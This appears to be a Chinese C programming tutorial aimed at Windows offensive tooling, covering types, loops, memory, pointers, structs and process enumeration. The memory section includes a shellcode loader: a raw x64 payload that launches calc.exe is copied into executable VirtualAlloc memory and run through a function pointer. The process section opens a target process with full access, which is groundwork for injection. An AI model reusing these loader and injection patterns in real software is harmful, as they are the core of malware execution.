总字符数: 17.68K

代码: 16.22K, 文本: 1.24K

预计阅读时间: 1.26 小时

类型

char 1 字节 -128 到 127 或 0 到 255
unsigned char 1 字节 0 到 255
signed char 1 字节 -128 到 127
int 2 或 4 字节 -32,768 到 32,767 或 -2,147,483,648 到 2,147,483,647
unsigned int 2 或 4 字节 0 到 65,535 或 0 到 4,294,967,295
short 2 字节 -32,768 到 32,767
unsigned short 2 字节 0 到 65,535
long 4 字节 -2,147,483,648 到 2,147,483,647
unsigned long 4 字节 0 到 4,294,967,295
运算符 描述 实例
+ 把两个操作数相加 A + B 将得到 30
- 从第一个操作数中减去第二个操作数 A - B 将得到 -10
* 把两个操作数相乘 A * B 将得到 200
/ 分子除以分母 B / A 将得到 2
% 取模运算符,整除后的余数 B % A 将得到 0
++ 自增运算符,整数值增加 1 A++ 将得到 11
自减运算符,整数值减少 1 A– 将得到 9
运算 符 描述 实例
== 检查两个操作数的值是否相等,如果相等则条件为真。 (A == B) 为 假。
!= 检查两个操作数的值是否相等,如果不相等则条件为真。 (A != B) 为真。
> 检查左操作数的值是否大于右操作数的值,如果是则条件为真。 (A > B) 为假。
< 检查左操作数的值是否小于右操作数的值,如果是则条件为真。 (A < B) 为真。
>= 检查左操作数的值是否大于或等于右操作数的值,如果是则条件为 真。 (A >= B) 为 假。
<= 检查左操作数的值是否小于或等于右操作数的值,如果是则条件为 真。 (A <= B) 为 真。
运算 符 描述 实例
&& 称为逻辑与运算符。如果两个操作数都非零,则条件为真。 (A && B) 为 假。
称为逻辑或运算符。如果两个操作数中有任意一个非零,则条件为 真。 (A
! 称为逻辑非运算符。用来逆转操作数的逻辑状态。如果条件为真则逻 辑非运算符将使其为假。 !(A && B) 为 真。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
/*
rust c++升级版 语法严谨
golang 体积太大
python installer 被厂商标记了
c++ 体积会比C大
c 更贴近底层
*/
#include <Windows.h>
#include <stdio.h>
#include <locale.h>

// 函数声明:函数用的什么类型就返回什么类型
// 全局变量--->函数之外的变量,函数执行完成后内存不会清零,除非程序结束
#define LEN 10
#define STR "全局变量"

void fun_Void() {
// void没有返回类型的类型.

return;
}

int fun_Int() {
return 1;
}


char* fun_Char() {
// 局部变量--->函数内部的变量,函数执行完成后内存会随着函数结束而清零
char* cStr = "你好世界";
return cStr;
}

BOOL fun_Bool() {
return TRUE;
}


int Division(int a, int b) {
int c = a / b;
return c;
}


int main() {
// 变量的声明作用域初始化以及变量的命名规则
// 命名2种
//Linux
char* ip_str = NULL;
//windows
char* ipStr = NULL;
// char是utf-8
// wchar为utf-16
char cStr1 = 'a'; // 只能存储一个字符串,存储多个可以用字符串数组或字符串指针
char cStr2[] = "aaaaabbbbbbbbbbbbbb"; // 字符串数组
char* cStr3 = "aaaaaaaaaaaa"; //字符串指针
char* cStr4[] = { "aaaaa","bbbbbbbbbbbbbb" }; // 字符串指针数组
// 报错: char cStr1这种声明是无法存储字符串的
// %c打印单字节
printf("字符串: %c\n",cStr1);
printf("字符串数组: %s\n",cStr2);
// 无法打印,因为他是数组,我们打印需要给个坐标.
//printf("字符串指针数组: %s\n",cStr3);
printf("字符串指针数组: %s\n", cStr4[0]);
printf("字符串指针数组: %s\n", cStr4[1]);

char* cStr = "char: 你好世界";
WCHAR* wStr = L"WCHAR: 你好世界";
printf("%s\n", cStr);
// 打印wStr一定要本地设置下面的语言包,并且头文件中引入<locale.h>
setlocale(LC_ALL, "zh-CN");
wprintf(L"wprintf可以: %ls\n", wStr);
// 错误示范
//printf("printf无法打印wChar类型的内容:%s\n", wStr);


int i = 1;
int* a = 2;
BOOL is_Bool = TRUE;
BOOL is_Bool2 = FALSE;

// strlen() 计算字符串长度
// sizeof() 计算数组或类型大小
int strLength = strlen(cStr2);
int strLength2 = sizeof(cStr2);
// 字符串中最后面会有个终止的空字符\0
// strlen 不包括终止的空字符 \0
// sizeof 包括终止的空字符 \0
printf("strlen: %d\nsizeof: %d\n", strLength, strLength2);
// 所以在内存申请的时候如果需要用strlen,则需要+1
printf("strlen + 1: %d\n", strLength+1);

// 指针的长度
// 忽略了终止的空字符 \0
// cStr3的长度是12
int cStr3Len = strlen(cStr3);
// 计算的是变量或类型的大小.cStr3 是一个指向字符的指针(char* )
// 指针的大小取决于机器的体系结构:在32位系统中,指针大小通常是4字节;在64位系统中,指针大小通常是8字节。
int cStr3Len1 = sizeof(cStr3);
printf("指针类型:\nstrlen: %d\nsizeof: %d\n", cStr3Len, cStr3Len1);
printf("指针类型结束\n");

// 函数声明接收
fun_Void();
INT int_Str = fun_Int();
char* char_Str = fun_Char();
BOOL bool_Str = fun_Bool();

// 运算符 加减
int sum = 10 + 20;
printf("%d\n", sum);
int division = Division(10, 5);
printf("%d\n", division);
}

static 变量的作用

  1. 局部静态变量

    • 生命周期:局部静态变量在程序的整个生命周期内存在,但它的作用域仅限于定义它的函数。

    • 初始化:局部静态变量在第一次进入定义它的函数时被初始化。之后,即使函数被多次调用,它们的值也会保持不变。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    #include <stdio.h>

    void func() {
    static int count = 0; // 局部静态变量
    count++;
    printf("count: %d\n", count);
    }

    int main() {
    func(); // 输出: count: 1
    func(); // 输出: count: 2
    func(); // 输出: count: 3
    return 0;
    }

    count 是一个静态局部变量。它在 func 函数第一次被调用时初始化为 0,然后在每次调用 func 时递增,但不会在函数调用结束时被销毁。

  2. 全局静态变量

    • 作用域:全局静态变量的作用域仅限于定义它的文件,不同文件中的全局静态变量互不影响。

    • 生命周期:全局静态变量在程序的整个生命周期内存在。

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      #include <stdio.h>

      static int count = 10; // 全局静态变量

      void func() {
      count++;
      printf("count: %d\n", count);
      }

      int main() {
      func(); // 输出: count: 11
      func(); // 输出: count: 12
      return 0;
      }

      在这个例子中,全局静态变量 count 在整个程序的生命周期内存在,但它的作用域仅限于定义它的文件。

  3. static 函数

    • 作用域:静态函数的作用域仅限于定义它的文件,不能被其他文件中的代码调用。这有助于隐藏实现细节。
    • 生命周期:静态函数和普通函数的生命周期一样,都是在程序执行期间。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    #include <stdio.h>

    static void func() { // 静态函数
    printf("This is a static function.\n");
    }

    int main() {
    func(); // 输出: This is a static function.
    return 0;
    }

    在这个例子中,func 是一个静态函数,它只能在定义它的文件中调用,不能被其他文件中的代码调用。

局部静态变量:在函数中定义,作用域仅限于函数,但生命周期贯穿整个程序运行期间。

全局静态变量:在文件中定义,作用域仅限于文件,但生命周期贯穿整个程序运行期间。

静态函数:仅在定义它的文件中可见,有助于隐藏实现细节。

循环

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <Windows.h>
#include <stdio.h>


int main() {
// 循环-for
/*for (;;) {
printf("死循环:无限循环,这条信息会一直打印下去直到手动关闭.");
}*/
int length = 10;
for (size_t i = 0; i < length; i++)
{
printf("for循环第%d次\n",i+1);
}


// while
int i = 0;
while (i < 10) {
printf("while循环第%d次\n", i + 1);
// i++这块需要了解自增、自减运算符
i++;
}


// do-while
// do while 循环与 while 循环的主要区别在于它们执行循环体的顺序.
// do while 循环首先执行循环体,然后检查循环条件.
// 因此,即使条件一开始就为假,循环体也会至少执行一次。
int b = 11;
do
{
printf("至少打印一次\n");
} while (b < 10);
}

判断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
#include <stdio.h>

int main() {
int number = 5;

// if
if (number > 0) {
printf("number 是正数\n");
}

// if-else
if (number % 2 == 0) {
printf("number 是偶数\n");
}
else {
printf("number 是奇数\n");
}

// if-else if
if (number < 0) {
printf("number 是负数\n");
}
else if (number == 0) {
printf("number 是零\n");
}
else {
printf("number 是正数\n");
}

// switch
switch (number) {
case 1:
printf("number 是 1\n");
break;
case 2:
printf("number 是 2\n");
break;
case 3:
printf("number 是 3\n");
break;
case 4:
printf("number 是 4\n");
break;
case 5:
printf("number 是 5\n");
break;
default:
printf("number 不是 1 到 5 之间的数\n");
break;
}
// 示例 1: 使用 break 终止循环
printf("示例 1: 使用 break 终止循环\n");
for (int i = 0; i < 10; i++) {
if (i == 5) {
break; // 当 i 等于 5 时,退出循环
}
printf("i = %d\n", i);
}
printf("循环被 break 终止\n\n");

// 示例 2: 使用 continue 跳过当前迭代
printf("示例 2: 使用 continue 跳过当前迭代\n");
for (int i = 0; i < 10; i++) {
if (i % 2 == 0) {
continue; // 跳过当前迭代(即不打印偶数)
}
printf("i = %d\n", i);
}
printf("循环中 continue 用于跳过偶数\n\n");

// 示例 3: 使用 goto 跳转
printf("示例 3: 使用 goto 跳转\n");
int i = 0;

start_loop:
if (i < 10) {
printf("i = %d\n", i);
i++;
if (i == 5) {
goto end_loop; // 当 i 等于 5 时,跳转到 end_loop 标签
}
goto start_loop; // 跳转回 start_loop 标签,继续循环
}

end_loop:
printf("循环被 goto 终止\n");
return 0;
}

数组

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#include <stdio.h>

// 函数声明
void modifyArray(int* arr, int size);
void deleteElement(int* arr, int* size, int index);

int main() {
// 1. 声明并初始化一个整数数组
int arr[5] = {1, 2, 3, 4, 5};

// 打印数组元素
printf("Initial array: ");
for (int i = 0; i < 5; i++) {
printf("%d ", arr[i]);
}
printf("\n");

// 2. 遍历数组
printf("Traversing the array:\n");
for (int i = 0; i < 5; i++) {
printf("Element at index %d: %d\n", i, arr[i]);
}

// 3. 修改数组
arr[2] = 10;
printf("Array after modification: ");
for (int i = 0; i < 5; i++) {
printf("%d ", arr[i]);
}
printf("\n");

// 4. 函数中修改数组
modifyArray(arr, 5);
printf("Array after modifyArray function: ");
for (int i = 0; i < 5; i++) {
printf("%d ", arr[i]);
}
printf("\n");

// 5. 删除数组元素
int size = 5;
deleteElement(arr, &size, 2);
printf("Array after deleting element at index 2: ");
for (int i = 0; i < size; i++) {
printf("%d ", arr[i]);
}
printf("\n");

// 6. 字符串数组的输入输出
char str[100];
printf("Enter a string: ");
fgets(str, sizeof(str), stdin);
printf("You entered: %s", str);

// 7. 数组越界溢出示例(谨慎运行)
printf("Attempting out of bounds access (may result in undefined behavior):\n");
printf("Out of bounds: %d\n", arr[10]); // 这里是一个故意的错误示例

// 8. 安全输出数组元素避免越界
int safeArr[5] = {1, 2, 3, 4, 5};
int safeSize = sizeof(safeArr) / sizeof(safeArr[0]);
printf("Safe array traversal: ");
for (int i = 0; i < safeSize; i++) {
printf("%d ", safeArr[i]);
}
printf("\n");

return 0;
}

void modifyArray(int* arr, int size) {
for (int i = 0; i < size; i++) {
arr[i] *= 2; // 将数组中每个元素的值乘以2
}
}

void deleteElement(int* arr, int* size, int index) {
// 移动数组元素
for (int i = index; i < *size - 1; i++) {
arr[i] = arr[i + 1];
}
(*size)--;
}

内存

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
#include <Windows.h>
#include <stdio.h>


int main() {
// MAX_PATH 的长度为260,也就是预留了260字节的内存,所以也可称数组为静态内存申请
char x[MAX_PATH] = { 0 };
printf("MAX_PATH: %d\n", (int)sizeof(x));
WCHAR* str = L"aaaaaaaaaaaa";
printf("WCHAR: %d\n", (int)wcslen(str));

// 动态内存申请函数
/*
malloc
原型:extern void *malloc(unsigned int num_bytes);
功能:分配长度为num_bytes字节的内存块
说明:如果分配成功则返回指向被分配内存的指针,否则返回空指针NULL。
当内存不再使用时,应使用free()函数将内存块释放。 举例:
*/
char* buffer = malloc(MAX_PATH);
// 或者用wchar接收
//WCHAR* buffer = malloc(MAX_PATH);

/*
calloc
原型:extern void *calloc(int num_elems, int elem_size);
int elem_size:char是1个字节,wchar是2个字节,所以可以写1或者2
功能:为具有num_elems个长度为elem_size元素的数组分配内存
说明:如果分配成功则返回指向被分配内存的指针,否则返回空指针NULL。
当内存不再使用时,应使用free()函数将内存块释放。
*/
char* buffer1 = calloc(MAX_PATH, 1);

/*
HeapAlloc
[in] hHeap
要从中分配内存的堆的句柄。 此句柄由 HeapCreate 或 GetProcessHeap 函数返回。
[in] dwFlags
堆分配选项。 指定这些值中的任何一个都将替代使用 HeapCreate 创建堆时指定的相应值。 此参数可使用以下一个或多个值。
HEAP_GENERATE_EXCEPTIONS
系统将引发异常以指示函数失败(例如内存不足情况),而不是返回 NULL。
若要确保为此函数的所有调用生成异常,请在调用 HeapCreate 时指定HEAP_GENERATE_EXCEPTIONS。 在这种情况下,无需在此函数调用中额外指定 HEAP_GENERATE_EXCEPTIONS 。
HEAP_NO_SERIALIZE
序列化访问将不用于此分配。
若要确保禁用对此函数的所有调用的序列化访问,请在调用 HeapCreate 中指定HEAP_NO_SERIALIZE。 在这种情况下,无需在此函数调用中额外指定 HEAP_NO_SERIALIZE 。访问进程的默认堆时,不应指定此值。 系统可能会在应用程序的进程中创建其他线程,例如同时访问进程的默认堆的 CTRL+C 处理程序。
HEAP_ZERO_MEMORY
分配的内存将初始化为零。 否则,内存不会初始化为零。
[in] dwBytes
要分配的字节数。
*/
char* buffer2 = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, MAX_PATH);
/*
VirtualAlloc
LPVOID lpAddress
指定分配或保留的内存区域的首选基地址.如果此参数为NULL,则会选择适当的地址.如果指定了地址,系统将尝试在指定的基地址上分配内存.注意,此地址必须是页对齐的.
SIZE_T dwSize
指定要分配的内存区域大小,以字节为单位
DWORD flAllocationType
指定内存的分配类型
DWORD flProtect
flProtect: 指定内存保护属性.
*/
char* buffer3 = VirtualAlloc(0, MAX_PATH, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// 上面只是申请了内存,但是并没有东西,需要我们把东西拷贝进去
char* dstStr = "你好";
memcpy(buffer, dstStr, sizeof(dstStr));
printf("malloc: %s\n", buffer);
memcpy(buffer1, dstStr,sizeof(dstStr));
printf("calloc: %s\n", buffer1);
memcpy(buffer2, dstStr, sizeof(dstStr));
printf("HeapAlloc: %s\n", buffer2);
memcpy(buffer3, dstStr, sizeof(dstStr));
printf("VirtualAlloc: %s\n", buffer3);

// ShellCode简单例子
unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
char* buffer4 = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (buffer4 == NULL) {
return 0;
}
memcpy(buffer4, buf, sizeof(buf));
// 0xC0000005: 读取位置 0xFFFFFFFFFFFFFFFF 时发生访问冲突
// 有两种原因:1. 数组越界2. 内存没有执行权限
// 总结: calloc、malloc、HeapAlloc 申请的内存没有执行权限
// 除了malloc其他的内存申请函数都带内存清理
// 使用指针去运行
((void(*)())buffer4)();

// 释放内存 calloc、malloc用free()
free(buffer);
free(buffer1);

// VirtualAlloc不会去主动释放,一旦释放ShellCode也就掉线了.也就是带执行权限的一般不会释放.
// VirtualFree 释放通过 VirtualAlloc 分配的内存
VirtualFree(buffer3, 0, MEM_RELEASE);
// HeapFree
HeapFree(GetProcessHeap(),0,buffer2);
}

指针

既然内存都申请了,按照内存的原理,肯定会有地址.所以也就引出了C语言的核心:指针.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#include <Windows.h>
#include <stdio.h>


int main() {

char* buffer = malloc(MAX_PATH);
char* buffer1 = calloc(MAX_PATH, 1);
char* buffer2 = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, MAX_PATH);
char* buffer3 = VirtualAlloc(0, MAX_PATH, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
printf("malloc Address: %p\n", &buffer);
printf("calloc Address: %p\n", &buffer1);
printf("HeapAlloc Address: %p\n", &buffer2);
printf("VirtualAlloc Address: %p\n", &buffer3);
// 释放内存
free(buffer);
free(buffer1);
if (buffer3 == NULL) {
return 0;
}
VirtualFree(buffer3, 0, MEM_RELEASE);
HeapFree(GetProcessHeap(),0,buffer2);
printf("---------------------------------------------------\n");
// 通过上面的代码可知&是用来取地址的.

// 指针用来存储变量在内存中的地址,通过指针可以对内存进行灵活的操作
/*
* 指针声明的格式
* 变量类型 *变量名;
* 变量类型* 变量名;
*/
// 初始化指针请赋予NULL
int* x = NULL;
int *b = NULL;

/*
&获取变量的地址 又称取地址运算符
*获取某地址对应的值 又称间接运算符/取消引用运算符
*/
int number = 5;
int* numberAddress = &number;
int value = *numberAddress;
printf("number's address= %p\n", &number);
printf("numberAddress's address= %p\n", numberAddress);
printf("number's value= %d\n", number);
printf("value's value= %d\n", value);
printf("---------------------------------------------------\n");
// 也可简写为
int value1 = *(&number);

// 使用*+指针可以访问与修改指针所指的变量值.
int* ptr = &number;// 将ptr指向number,赋值为number的地址
printf("number's address= %p\n", &number);
printf("number's value= %d\n", number);
printf("ptr's address= %p\n", &ptr);
printf("ptr's value= %p\n", ptr);
printf("ptr pointing value= %d\n", *ptr);
*ptr = 100;
printf("ptr modify value= %d\n", *ptr);
printf("---------------------------------------------------\n");

// 构造指向指针的指针,也就是二级指针
int* ptr1 = &number;
int** ptr2 = &ptr1;
printf("number's address= %p\n", &number);
printf("number's value= %d\n\n", number);

printf("ptr1's address= %p\n", &ptr1);
printf("ptr1's value= %p\n\n", ptr1);
printf("ptr1 pointing value (*ptr1): %d\n\n", *ptr1);

printf("ptr2's address= %p\n", &ptr2);
printf("ptr2's value= %p\n", ptr2);
printf("ptr2 pointing value (*ptr2): %p\n", *ptr2);
printf("ptr2 pointing number value : %d\n", **ptr2);

return 1;

}

结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
#include <Windows.h>
#include <stdio.h>

/*
结构体(struct)是一种用户定义的数据类型,它允许将不同类型的数据组合在一起.
以便更方便地管理和使用这些数据。结构体在处理复杂数据结构时非常有用,
例如记录、数据包、树节点等。
*/

// 定义一个结构体并使用 typedef 为其命名
typedef struct _MyStruct {
char* ipStr;
char* hostName;
char* userName;
char* passWord;
} MyStruct;

typedef struct _MyStructq {
char ipStr[MAX_PATH];
char hostName[MAX_PATH];
char userName[MAX_PATH];
char passWord[MAX_PATH];
} MyStructq;

// 定义一个学生信息的结构体
typedef struct _Student {
int studentID; // 学号
char name[50]; // 姓名
wchar_t* alias;
int age; // 年龄
char gender; // 性别 ('M' 或 'F')
float grade; // 成绩
} Student;

int main() {
// 对结构体进行简单的初始化
MyStruct mac = { 0 };
// 错误示范: 1.没有空间. 2. 指针的指针
//strcpy_s(mac.ipStr, MAX_PATH, "127.0.0.1");
// 分配内存
mac.ipStr = (char*)malloc(MAX_PATH * sizeof(char));
mac.hostName = (char*)malloc(MAX_PATH * sizeof(char));
mac.userName = (char*)malloc(MAX_PATH * sizeof(char));
mac.passWord = (char*)malloc(MAX_PATH * sizeof(char));

if (mac.ipStr == NULL || mac.hostName == NULL || mac.userName == NULL || mac.passWord == NULL) {
// 内存分配失败,处理错误
printf("Memory allocation failed\n");
return 1;
}
// 使用 strcpy_s 复制字符串
strcpy_s(mac.ipStr, MAX_PATH, "10.0.0.1");
strcpy_s(mac.hostName, MAX_PATH, "example.com");
strcpy_s(mac.userName, MAX_PATH, "user");
strcpy_s(mac.passWord, MAX_PATH, "password");
// 输出字符串
printf("IP Address: %s\n", mac.ipStr);
printf("Host Name: %s\n", mac.hostName);
printf("User Name: %s\n", mac.userName);
printf("PassWord: %s\n", mac.passWord);
printf("---------------------------------------------\n");
// 静态内存申请的
MyStructq mac1 = { 0 };
strcpy_s(mac1.ipStr, MAX_PATH, "127.0.0.1");
strcpy_s(mac1.hostName, MAX_PATH, "www.baidu.com");
strcpy_s(mac1.userName, MAX_PATH, "baidu");
strcpy_s(mac1.passWord, MAX_PATH, "123456");
printf("IP Address: %s\n", mac1.ipStr);
printf("Host Name: %s\n", mac1.hostName);
printf("User Name: %s\n", mac1.userName);
printf("PassWord: %s\n", mac1.passWord);
printf("---------------------------------------------\n");

// 创建一个结构体变量
Student student;

// 初始化结构体成员
student.studentID = 12345;
strcpy_s(student.name, 50, "Alice");
student.alias = (wchar_t*)malloc(MAX_PATH * sizeof(wchar_t));
// WHCAR只需把前面换成wcs即可
if (student.alias == NULL) {
return 0;
}

// 使用 wcscpy_s 复制宽字符字符串
wcscpy_s(student.alias, MAX_PATH, L"Luna");
student.age = 20;
student.gender = 'F';
student.grade = 89.5;

/*
字符指针(char)*:需要显式分配内存。
字符数组(char[]):不需要显式分配内存,内存在声明时已经分配。
其他基本类型(int、float、double等):不需要显式分配内存。
其他指针类型(如int、float*等)*:需要显式分配内存。
*/

// 输出结构体成员的值
printf("Student ID: %d\n", student.studentID);
printf("Name: %s\n", student.name);
// 输出宽字符字符串
wprintf(L"Alias: %ls\n", student.alias);
printf("Age: %d\n", student.age);
printf("Gender: %c\n", student.gender);
printf("Grade: %.2f\n", student.grade);
return 1;

}

进程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
#include <Windows.h>    // 包含 Windows API 函数的头文件
#include <TlHelp32.h> // 包含进程快照相关函数的头文件
#include <stdio.h> // 标准输入输出库
#include <wchar.h> // 宽字符处理库

// 函数:GetRemoteProcessHandle
// 描述:获取指定进程名的远程进程句柄和进程ID
// 参数:
// szProcessName - 要查找的进程名(宽字符)
// dwProcessId - 返回找到的进程ID
// hProcess - 返回找到的进程句柄
// 返回值:成功时返回TRUE,失败时返回FALSE
BOOL GetRemoteProcessHandle(LPWSTR szProcessName, DWORD* dwProcessId, HANDLE* hProcess) {
PROCESSENTRY32 Proc; // 定义一个 PROCESSENTRY32 结构体来保存进程信息
Proc.dwSize = sizeof(PROCESSENTRY32); // 初始化结构体的大小

HANDLE hSnapShot = NULL; // 定义一个快照句柄

// 创建一个快照来获取当前所有运行的进程
/*
https://learn.microsoft.com/zh-cn/windows/win32/api/tlhelp32/nf-tlhelp32-createtoolhelp32snapshot
获取指定进程以及这些进程使用的堆、模块和线程的快照。
HANDLE CreateToolhelp32Snapshot(
[in] DWORD dwFlags,
[in] DWORD th32ProcessID
);
[in] dwFlags
TH32CS_SNAPPROCESS 包括系统中快照中的所有进程
[in] th32ProcessID
要包含在快照中的进程的进程标识符.此参数可以为零以指示当前进程
*/
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (hSnapShot == INVALID_HANDLE_VALUE) {
// 如果获取快照失败,打印错误信息
printf("[!] CreateToolhelp32Snapshot Failed With Error: %d \n", GetLastError());
goto _EndOfFunction; // 跳到函数结尾释放资源
}

// 获取快照中第一个进程的信息
/*
Process32First
检索有关系统快照中遇到的第一个进程的信息。
BOOL Process32First(
[in] HANDLE hSnapshot,
[in, out] LPPROCESSENTRY32 lppe
);

[in] hSnapshot
快照的句柄,该句柄是从上次调用 CreateToolhelp32Snapshot 函数返回的。
[in, out] lppe
指向 PROCESSENTRY32 结构的指针。 它包含进程信息,例如可执行文件的名称、进程标识符和父进程的进程标识符。

如果进程列表的第一个条目已复制到缓冲区,则返回 TRUE ,否则返回 FALSE 。 如果不存在任何进程或快照不包含进程信息,则 GetLastError 函数将返回ERROR_NO_MORE_FILES错误值。
*/
if (!Process32First(hSnapShot, &Proc)) {
// 如果获取第一个进程失败,打印错误信息
printf("[!] Process32First Failed With Error: %d \n", GetLastError());
goto _EndOfFunction; // 跳到函数结尾释放资源
}

// 遍历快照中的所有进程
do {
WCHAR LowerName[MAX_PATH * 2] = { 0 }; // 定义一个宽字符数组用于存储进程名的小写形式
/*
lstrlenW: 确定指定字符串的长度,(不包括终止 null 字符)
*/
DWORD dwSize = lstrlenW(Proc.szExeFile); // 获取进程名的长度
DWORD i = 0;

// 将进程名转换为小写并保存到LowerName中
if (dwSize < MAX_PATH * 2) {
for (; i < dwSize; i++) {
LowerName[i] = (WCHAR)towlower(Proc.szExeFile[i]); // 转换为小写
}
LowerName[i] = L'\0'; // 添加字符串结束符
}

// 打印当前比较的进程名和目标进程名
wprintf(L"Comparing process: %s with target: %s\n", LowerName, szProcessName);

// 如果转换后的进程名与目标进程名匹配
if (wcscmp(LowerName, szProcessName) == 0) {
*dwProcessId = Proc.th32ProcessID; // 保存进程ID
*hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Proc.th32ProcessID); // 打开进程并获取句柄
if (*hProcess == NULL) {
// 如果打开进程句柄失败,打印错误信息
printf("[!] OpenProcess Failed With Error: %d \n", GetLastError());
}
break; // 找到目标进程后退出循环
}
} while (Process32Next(hSnapShot, &Proc)); // 检索快照中的下一个进程信息
/*
Process32Next 检索有关系统快照中记录的下一个进程的信息
BOOL Process32Next(
[in] HANDLE hSnapshot,
[out] LPPROCESSENTRY32 lppe
);
[in] hSnapshot
从对 CreateToolhelp32Snapshot 函数的上一次调用返回的快照句柄。
[out] lppe
指向 PROCESSENTRY32 结构的指针。
*/
_EndOfFunction:
if (hSnapShot != NULL) {
CloseHandle(hSnapShot); // 关闭快照句柄以释放资源
}
// 检查是否成功获取到进程ID和进程句柄,成功返回TRUE,否则返回FALSE
if (*dwProcessId == 0 || *hProcess == NULL) {
return FALSE;
}
return TRUE;
}

int main() {
LPWSTR szProcessName = (LPWSTR)L"notepad.exe"; // 指定要查找的进程名
DWORD processId = 0; // 定义用于存储找到的进程ID
HANDLE hProcess = NULL; // 定义用于存储找到的进程句柄

// 打印要查找的进程名
wprintf(L"Looking for process: %s\n", szProcessName);

// 调用GetRemoteProcessHandle函数以获取进程ID和句柄
if (GetRemoteProcessHandle(szProcessName, &processId, &hProcess)) {
wprintf(L"Process ID: %lu\n", processId); // 打印找到的进程ID
